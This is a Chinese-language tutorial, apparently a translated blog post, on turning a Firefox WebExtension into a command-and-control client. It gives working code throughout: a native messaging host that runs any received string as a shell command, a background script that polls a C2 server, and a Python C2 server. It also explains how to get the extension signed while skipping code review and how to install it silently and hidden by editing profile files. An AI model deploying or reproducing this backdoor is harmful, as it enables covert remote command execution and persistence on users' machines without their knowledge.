利用Firefox扩展作为C2客户端
导语:火狐的web扩展其实就是插件的新叫法,用JavaScript代码编写,能够与浏览器的API进行交互。所以,基于这一点,我灵光一闪,想到可以写一个web扩展来作为CC客户端。
注意:这项技术仅在Linux上进行了测试,在Mac或者Windows上无法运行。
Firefox Web扩展
火狐的web扩展其实就是插件的新叫法,用JavaScript代码编写,能够与浏览器的API进行交互。所以,基于这一点,我灵光一闪,想到可以写一个web扩展来作为CC客户端。
如何实现
我仔细研读了火狐关于Web扩展的官方文档之后,发现了一个Native Messaging的功能,它们在web扩展和系统程序之间创建了一个通道,如果你想了解更多细节,建议你去阅读官方文档,因为本篇文章不会着重讲这个知识点。
创建一个Native Messaging app
我们需要两个文件来实现,一个manifest文件和一个应用程序来接收来自Web扩展的命令,在官方文档上有如下的例子:
· manifest
Manifest文件
这个文件告诉火狐有一个新创建的函数可以被允许的web扩展调用,内容如下:
{ "name": "execution", "description": "Malicious function", "path": "/home/user/.mozilla/extensions/payload.py", "type": "stdio", "allowed_extensions": [ "malicious-webextension@github.io" ] }
可以看到有一个name属性,火狐将会把这个name属性值与一个函数绑定,并且allowed_extensions将只允许我们的扩展来使用该函数(我们会在webextension manifest上设置这个值为malicious-webextension@github.io),属性路径定义了app脚本存放的位置。
然后复制该文件到/home/user/.mozilla/native-messaging-hosts/execution.json
App script中。
App脚本
这是一个python脚本,通过STDIN从webextension接收数据并作为系统命令执行这个值,对响应进行编码,然后通过STDOUT将它发送到webextension。脚本如下:
#!/usr/bin/env python import sys import json import struct import base64 import subprocess def getMessage(): rawLength = sys.stdin.buffer.read(4) if len(rawLength) == 0: sys.exit(0) messageLength = struct.unpack('@I', rawLength)[0] message = sys.stdin.buffer.read(messageLength).decode('utf-8') return json.loads(message) def encodeMessage(messageContent): encodedContent = json.dumps(messageContent).encode('utf-8') encodedLength = struct.pack('@I', len(encodedContent)) return {'length': encodedLength, 'content': encodedContent} def sendMessage(encodedMessage): sys.stdout.buffer.write(encodedMessage['length']) sys.stdout.buffer.write(encodedMessage['content']) sys.stdout.buffer.flush() def execcmd(cmd): output = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,universal_newlines=True) return base64.b64encode(output.stdout.encode()).decode() while True: receivedMessage = getMessage() sendMessage(encodeMessage(execcmd(receivedMessage)))
现在万事俱备,只欠东风了。webextension可以跟execution这个函数进行交互了。
创建一个webextension
我们只需要创建两个文件,一个manifest.json文件,包含webextension信息,还有一个background.js文件,包含客户端逻辑。这里我们只是创建一个简单的例子,当然,大家可以创建更加复杂的客户端。首先我们来创建manifest文件:
{ "description": "C2 Client", "manifest_version": 2, "name": "C2 Client", "version": "1.0", "applications": { "gecko": { "id": "malicious-webextension@github.io", "strict_min_version": "50.0" } }, "background": { "scripts": ["background.js"] }, "permissions": ["nativeMessaging","<all_urls>"] }
我就不对所有参数一一解释了,这里最重要的是application里的gecko和id的值。这个值包含了在native messaging app上设置的相同的id,并且在属性permissions中的nativeMessaging值,向Firefox指定了这个webextension能够使用Native Messaging应用程序。
现在我们来创建一个webextension来与我们C2服务器交互:
var port; var timeout = 1000; var result = "none"; var sendMessage = function(){ server = "http://127.0.0.1:8081/"; var oReq = new XMLHttpRequest(); oReq.open('POST',server,true) oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded') oReq.onerror = function (e) { setTimeout(sendMessage,timeout); } oReq.ontimeout = function (e) { setTimeout(sendMessage,timeout); } oReq.onload = function(oEvent) { if (oReq.status == 200){ var cmd = oReq.response if (cmd != ""){ console.log(cmd) port = browser.runtime.connectNative("execution"); port.onMessage.addListener((response) => { result = response; port.disconnect(); }); port.postMessage(cmd); } setTimeout(sendMessage,timeout); } }; oReq.send("response="+result); result = "none" } setTimeout(sendMessage,timeout);
这段JavaScript代码的意思就是连接到C2服务器,等待命令,接收到命令然后执行。而服务器端只是一个python编写的简单的http服务器:
import cgi import threading from urlparse import urlparse, parse_qs from SocketServer import ThreadingMixIn from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler class Handler(BaseHTTPRequestHandler): def do_POST(self): self.send_response(200) self.end_headers() message = threading.currentThread().getName() form = cgi.FieldStorage(fp=self.rfile,headers=self.headers,environ={'REQUEST_METHOD': 'POST'}) result = form.getvalue("response") if result != "none": print(result.decode('base64')) return cmd = raw_input("$ ") self.wfile.write(cmd) return def log_message(self, format, *args): return class ThreadedHTTPServer(ThreadingMixIn, HTTPServer): """Handle requests in a separate thread.""" if __name__ == '__main__': server = ThreadedHTTPServer(('localhost', 8081), Handler) print 'Starting server, use <Ctrl-C> to stop' server.serve_forever()
生成webextension
现在,我们使用zip将manifest.json和background.js文件压缩成malicious-webextension@github.io.xpi,然后到火狐开发者面板来签发我们的webextension。选择”添加自己的扩展组件,你提交的扩展会立刻签发并进行自分发。你可以通过一个更新URL来升级或者外部应用升级.。上传xpi.file文件,点击签署插件”,然后选择no,因为我们不希望火狐分析我们的代码,然后点击继续,然后下载已经签名的webextension。
安装webextension
现在我们来安装webextension,不过我们不会使用Firefox界面(因为它需要用户交互)。我们会编辑几个文件来让火狐检测我们的webextension。当安装webextension时,要关掉其他所有的Firefox页面,这一点十分重要。
webextension文件
复制已经签名的webextension文件到$HOME/.mozilla/firefox/profile-name/extensions中。
extensions.json
$HOME/.mozilla/firefox/profile-name/extensions.json这个json文件存放着Firefox已经安装的webextension,我们只需要把我们的webextension写入文件里就可以了,下面是一个配置文件:
{ "id": "malicious-webextension@github.io", "syncGUID": "{7b594760-d78d-410c-ad1f-34a4aaa8c3ac}", "version": "1.0", "type": "extension", "loader": null, "updateURL": null, "optionsURL": null, "optionsType": null, "optionsBrowserStyle": true, "aboutURL": null, "defaultLocale": { "name": "C2 Client", "description": "C2 Client", "creator": null, "developers": null, "translators": null, "contributors": null }, "visible": true, "active": true, "userDisabled": false, "appDisabled": false, "installDate": 1550640880000, "updateDate": 1550640880000, "applyBackgroundUpdates": 1, "path": "/home/user/.mozilla/firefox/f22lasdy.default/extensions/malicious-webextension@github.io", "skinnable": false, "sourceURI": null, "releaseNotesURI": null, "softDisabled": false, "foreignInstall": false, "strictCompatibility": true, "locales": [], "targetApplications": [ { "id": "toolkit@mozilla.org", "minVersion": "50.0", "maxVersion": null } ], "targetPlatforms": [], "signedState": 2, "seen": true, "dependencies": [], "userPermissions": { "permissions": [ "nativeMessaging" ], "origins": [ "<all_urls>" ] }, "icons": {}, "iconURL": null, "blocklistState": 0, "blocklistURL": null, "startupData": null, "hidden": true, "installTelemetryInfo": { "source": "about:addons", "method": "install-from-file" }, "location": "app-system-defaults" }
这里有一个很重要的选项,因为如果我们把这个值设置为app-system-defaults,然后这个webextension在Firefox中是不可见的。我们可以使用下面这个python脚本来自动化该文件的过程:
import json extensions = json.loads(open('/home/user/.mozilla/firefox/profile-name/extensions.json').read()) plugin = json.loads(open('myexntension.json').read()) plugin['path'] = '/home/user/.mozilla/firefox/profile-name/extensions/malicious-webextension@github.io.xpi' extensions['addons'].insert(len(extensions['addons']),plugin) print(json.dumps(extensions))"
然后我们用该python脚本的输出来替换extension.json文件的内容。
user.js
创建/home/user/.mozilla/firefox/profile-name/user.js文件,写入如下内容:
user_pref("extensions.webextensions.uuids","{\"malicious-webextension@github.io\":\"fef0c3b3-9327-4584-839c-52cf45d94170\"}");
总结
为了让Firefox能够检测和启用这个webextension扩展,需要先关掉Firefox然后再重新启动,然后就可以正常使用了。
PoC
这里有一个演示如何使用这个webextension的视频。我现在使用这个webextension扩展作为开发者扩展来展示调试控制台。视频地址在这里,PoC视频。
发表评论